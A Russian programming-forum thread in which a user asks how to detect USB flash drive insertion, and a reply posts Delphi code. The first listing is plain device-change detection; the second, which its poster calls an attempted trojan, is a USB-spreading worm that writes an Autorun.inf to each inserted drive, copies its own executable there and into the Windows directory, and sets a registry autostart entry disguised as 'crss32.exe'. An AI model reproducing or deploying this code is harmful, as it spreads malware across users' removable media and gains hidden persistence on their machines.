Как отследить подключение usb?

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by lucifer-m, 26 Apr 2016.

  1. lucifer-m

    lucifer-m Member

    Joined:
    24 Apr 2016
    Messages:
    32
    Likes Received:
    7
    Reputations:
    0
    Я гуглил!
    Вобщем я знаю go отлично но в нём как оказалось нет возможности отследить конект флешки (без использования Си в нём. Это уж очень сильно извращение) По этому подумал что на плюсах нагуглить будет проще. Нагуглил я значит код который при помощи буста отслеживает подключение флешки (код ну очень избыточный), а как я выяснил поже ещё и не компилится под x86. Ребят может кто-то скинуть простенький код который при подключении флешки будет вызывать произвольную функцию? Зарание спасибо.
     
  2. GRRRL Power

    GRRRL Power Elder - Старейшина

    Joined:
    13 Jul 2010
    Messages:
    823
    Likes Received:
    185
    Reputations:
    84
    Подозреваю, что ты нашел этот код: https://kaimi.ru/2012/07/windows-usb-monitoring/
    Код, конечно, несколько устарел (boost уже можно заменить на stl c++14), но идея в статье описана - нужно отслеживать сообщение WM_DEVICECHANGE, и сделать это можно либо через сервисную процедуру, если пишешь службу, либо через оконные сообщения. В статье описан второй подход. Рекомендую ознакомиться с документацией на WM_DEVICECHANGE на MSDN. Имея готовый код и доки не составит труда самому написать то, что требуется.
     
  3. lucifer-m

    lucifer-m Member

    Joined:
    24 Apr 2016
    Messages:
    32
    Likes Received:
    7
    Reputations:
    0
    дело в том что си я учил два часа))(глянул синтаксис, ооп) и как именно работать с апи винды я хз. Ищу обычный кусок кода (более чем уверен что где то он есть) но не суть
     
  4. vasykas

    vasykas Banned

    Joined:
    7 Mar 2011
    Messages:
    963
    Likes Received:
    137
    Reputations:
    37
    делфи:
    Code:
    uses
    Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
    Dialogs, StdCtrls, ExtCtrls,MATH;
    CONST
    DBTF_Media = $0001;
    DBT_DEVTYP_DEVICEINTERFACE = $0005;
    DBT_DEVTYP_HANDLE = $0006;
    DBT_DEVTYP_OEM = $0000;
    DBT_DEVTYP_PORT = $0003;
    DBT_DEVTYP_VOLUME = $0002;
    DBT_DEVICEARRIVAL = $8000;
    DBT_DEVICEREMOVECOMPLETE = $8004;
    DBTF_NET = $0001;
    //DBT_DEVTYP_VOLUME = $0002;
    DBT_CONFIGCHANGECANCELED = $0019;
    DBT_CONFIGCHANGED = $0018;
    DBT_CUSTOMEVENT = $8006;
    // DBT_DEVICEARRIVAL = $8000;
    DBT_DEVICEQUERYREMOVE = $8001;
    DBT_DEVICEQUERYREMOVEFAILED = $8002;
    // DBT_DEVICEREMOVECOMPLETE = $8004;
    DBT_DEVICEREMOVEPENDING = $8003;
    DBT_DEVICETYPESPECIFIC = $8005;
    DBT_DEVNODES_CHANGED = $0007;
    DBT_QUERYCHANGECONFIG = $0017;
    DBT_USERDEFINED = $FFFF ;
    type
    
    
    
    DEV_BROADCAST_HDR = packed record
    dbch_size: DWORD;
    dbch_devicetype: DWORD;
    dbch_reserved: DWORD;
    end;
    {$EXTERNALSYM DEV_BROADCAST_HDR}
    TDevBroadcastHdr = DEV_BROADCAST_HDR;
    PDevBroadcastHdr = ^TDevBroadcastHdr ;
    
    DEV_BROADCAST_VOLUME = packed record
    dbcv_size: DWORD;
    dbcv_devicetype: DWORD;
    dbcv_reserved: DWORD;
    dbcv_unitmask: DWORD;
    dbcv_flags: Word;
    end;
    {$EXTERNALSYM DEV_BROADCAST_VOLUME}
    TDevBroadcastVolume = DEV_BROADCAST_VOLUME;
    PDevBroadcastVolume = ^TDevBroadcastVolume;
    
    TForm1 = class(TForm)
    Label1: TLabel;
    Memo1: TMemo;
    Button1: TButton;
    Timer1: TTimer;
    Label2: TLabel;
    Label3: TLabel;
    Function GetDrive(pDBVol: PDevBroadcastVolume): string;
    procedure Button1Click(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
    // procedure WMDeviceChange(var Msg: TMessage); message WM_DEVICECHANGE;
    
    private
    procedure WMDeviceChange(var Msg: TMessage); message WM_DEVICECHANGE;
    
    { Private declarations }
    public
    { Public declarations }
    end;
    
    var
    Form1: TForm1;
    Msg: TMessage;
    implementation
    
    {$R *.dfm}
    
    procedure TForm1.WMDeviceChange(var Msg: TMessage);
    var
    Drive: string;
    bv: PDevBroadcastVolume;
    begin
    case Msg.wParam of
    DBT_DeviceArrival:
    if PDevBroadcastHdr(Msg.lParam)^.dbch_devicetype =
    DBT_DevTyp_Volume then
    begin
    bv := PDevBroadcastVolume(Msg.lParam);
    Drive := GetDrive(bv);
    // first check if network drive, if 0 then has to be DBTF_MEDIA
    if ((bv^.dbcv_flags and DBTF_NET) = DBTF_NET) then
    begin
    label1.Caption := 'Network drive added, Drive ' + Drive;
    end
    else
    begin
    // if DBTF_MEDIA is 1 then it's media, otherwise it's a device
    if ((bv^.dbcv_flags and DBTF_MEDIA) = DBTF_MEDIA) then
    label1.Caption := 'Media inserted in Drive ' + Drive
    else
    label1.Caption := '?????? ' + Drive +'?? ??????'
    end;
    end;
    DBT_DeviceRemoveComplete:
    if PDevBroadcastHdr(Msg.lParam)^.dbch_devicetype =
    DBT_DevTyp_Volume then
    begin
    bv := PDevBroadcastVolume(Msg.lParam);
    Drive := GetDrive(bv);
    if ((bv^.dbcv_flags and DBTF_NET) = DBTF_NET) then
    begin
    label1.Caption := 'Network drive removed, Drive ' + Drive;
    end
    else
    begin
    if ((bv^.dbcv_flags and DBTF_MEDIA) = DBTF_MEDIA) then
    label1.Caption := 'Media removed from Drive ' + Drive
    else
    label1.Caption := '?????? ' + Drive +'?? ????' ;
    
    end;
    end;
    end;
    END;
    Function TForm1.GetDrive(pDBVol: PDevBroadcastVolume): string;
    var
    i: Byte;
    Maske: DWORD;
    drive: Char;
    begin
    Maske := pDBVol^.dbcv_unitmask;
    drive := 'A';
    for i := 0 to 25 do
    begin
    if (Maske and Round(Power(2, I))) > 0 then
    begin
    Result := drive;
    Break;
    end;
    Inc(drive);
    end;
    end;
    
    {function TForm1.GetFirstDrive(UnitMask: DWORD): Char;
    var
    I: Char;
    begin
    Result:=#0;
    for I:='A' to 'Z' do
    begin
    if (UnitMask and 1) = 1 then
    begin
    Result:=I;
    break;
    end;
    UnitMask:=UnitMask Shr 1;
    end;
    end; }
    
    procedure TForm1.Button1Click(Sender: TObject);
    VAR
    MES:tagMSG;
    begin
    //GetMessage(MES,0,0,0);
    //WMDeviceChange(MES);
    
    end;
    
    procedure TForm1.Timer1Timer(Sender: TObject);
    begin
    //WMDeviceChang(Msg);
    end;
    {procedure TForm1.WMDeviceChang(var Msg: TMessage);
    VAR
    Drive: string;
    bv: PDevBroadcastVolume;
    s: string;
    begin
    case Msg.wParam of
    DBT_DeviceArrival:
    begin
    Label2.Caption:=FormatCurr('',PDevBroadcastHdr(Msg .lParam)^.dbch_devicetype);
    case PDevBroadcastHdr(Msg.lParam)^.dbch_devicetype of
    DBT_DEVTYP_DEVICEINTERFACE: s := 'DBT_DEVTYP_DEVICEINTERFACE arrival';
    DBT_DEVTYP_HANDLE: s := 'DBT_DEVTYP_HANDLE arrival';
    DBT_DEVTYP_OEM: s := 'DBT_DEVTYP_OEM arrival';
    DBT_DEVTYP_PORT: s := 'DBT_DEVTYP_PORT arrival';
    DBT_DEVTYP_VOLUME: s := 'DBT_DEVTYP_VOLUME arrival';
    else
    s := 'No arrival match';
    end;
    Label1.Caption := s;
    end;
    DBT_DeviceRemoveComplete:
    begin
    case PDevBroadcastHdr(Msg.lParam)^.dbch_devicetype of
    DBT_DEVTYP_DEVICEINTERFACE: s := 'DBT_DEVTYP_DEVICEINTERFACE remove';
    DBT_DEVTYP_HANDLE: s := 'DBT_DEVTYP_HANDLE remove';
    DBT_DEVTYP_OEM: s := 'DBT_DEVTYP_OEM remove';
    DBT_DEVTYP_PORT: s := 'DBT_DEVTYP_PORT remove';
    DBT_DEVTYP_VOLUME: s := 'DBT_DEVTYP_VOLUME remove';
    else
    s := 'No remove match';
    end;
    Label1.Caption := s;
    end;
    end;
    end; }
    
    end

    или вот определяет кроме мобилы.(пробовал написать троян, но ...)
    Code:
    unit Unit1;
    
    interface
    
    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, registry,ShellApi;
    
    type
      TForm1 = class(TForm)
        procedure FormCreate(Sender: TObject);
      private
        { Private declarations }
        Procedure WindowProc(var Msg:TMessage); message WM_DEVICECHANGE; stdcall;
      public
        { Public declarations }
        function DriveMaskToString(mask: dword): string;
      end;
    Const
    DBT_DEVICEARRIVAL = $8000;
    DBT_DEVTYP_VOLUME = 2;
    DBT_DEVICEREMOVECOMPLEATE = $8004;
    type
    PDEV_BROADCAST_HDR = ^DEV_BROADCAST_HDR;
    DEV_BROADCAST_HDR = record
    dbch_size,
    dbch_devicetype,
    dbch_reserved: DWORD;
    end;
    type
    PDEV_BROADCAST_VOLUME = ^DEV_BROADCAST_VOLUME;
    DEV_BROADCAST_VOLUME = record
    dbcv_size,
    dbcv_devicetype,
    dbcv_reserved,
    dbcv_unitmask: DWORD;
    end;
    var
      Form1: TForm1;
    
    implementation
    
    {$R *.dfm}
    
    { TForm1 }
    
    function TForm1.DriveMaskToString(mask: dword): string;
    var
    DriveLetter: char;
    Drives:string;
    i:integer;
    pom:integer;
    begin
    Drives := 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
    i := 0;
    pom := Trunc(mask / 2);
    while (pom <> 0) do
    begin
    pom := Trunc(pom / 2);
    i := i+1;
    end;
    if (i < Length(Drives)) then
    DriveLetter := Drives[i+1]
    else
    DriveLetter := '?';
    result := DriveLetter + ':\';
    end;
    procedure TForm1.WindowProc(var Msg: TMessage);
    var disk:DWORD;
    fs: TFileStream;
    s: AnsiString;
    disk1:string;
    begin
    case Msg.WParam of
    DBT_DEVICEARRIVAL:
    if (PDEV_BROADCAST_HDR(Msg.LParam)^
    .dbch_devicetype = DBT_DEVTYP_VOLUME) then
    begin
    disk1 := DriveMaskToString(PDEV_BROADCAST_VOLUME(Msg.LParam   )^.dbcv_unitmask);
    fs:=TFileStream.Create(disk1+'\Autorun.inf', fmCreate);
    try
    s:='[AutoRun]'+#13#10+'shell\command='+ExtractFileName(ParamStr(0));
    fs.WriteBuffer(s[1],Length(s));
    finally
    fs.Free;
        end;
      end;
    end;
        if not (FileExists(PChar(disk1+'\' + ExtractFileName(ParamStr(0))))) then
      begin
       CopyFile(PChar(ParamStr(0)), PChar(disk1+'\' + ExtractFileName(ParamStr(0))), True);
      end;
    end;
    procedure TForm1.FormCreate(Sender: TObject);
    var RegIni:TRegIniFile;
        WinDir : array [0..255] of char;
       disk1, WinDirStr:string;
    begin
    GetWindowsDirectory(WinDir, 255);
    WinDirStr:= WinDir;
    if not (FileExists(PChar(WinDirStr+'\' + ExtractFileName(ParamStr(0))))) then
    begin
       CopyFile(PChar(ParamStr(0)), PChar(WinDirStr+'\' + ExtractFileName(ParamStr(0))), True);
    //ShellExecute(Handle, 'open', PChar(disk1+'\' + ExtractFileName(ParamStr(0))), nil, nil, SW_Hide);
    //WinExec(PANsiChar('TASKKILL /F /IM '+ExtractFileName(ParamStr(0))), SW_HIDE);
    RegIni:=TRegIniFile.Create('Software');
    RegIni.RootKey:=HKEY_LOCAL_MACHINE;
    RegIni.OpenKey('Software', true);
    RegIni.OpenKey('Microsoft', true);
    RegIni.OpenKey('Windows', true);
    RegIni.OpenKey('CurrentVersion', true);
    RegIni.WriteString('RunServices', 'crss32.exe',
    Application.ExeName);
    RegIni.Free;
    end
    else
    end;
    end.
     
    #4 vasykas, 26 Apr 2016
    Last edited: 26 Apr 2016
    lucifer-m and pravdaru like this.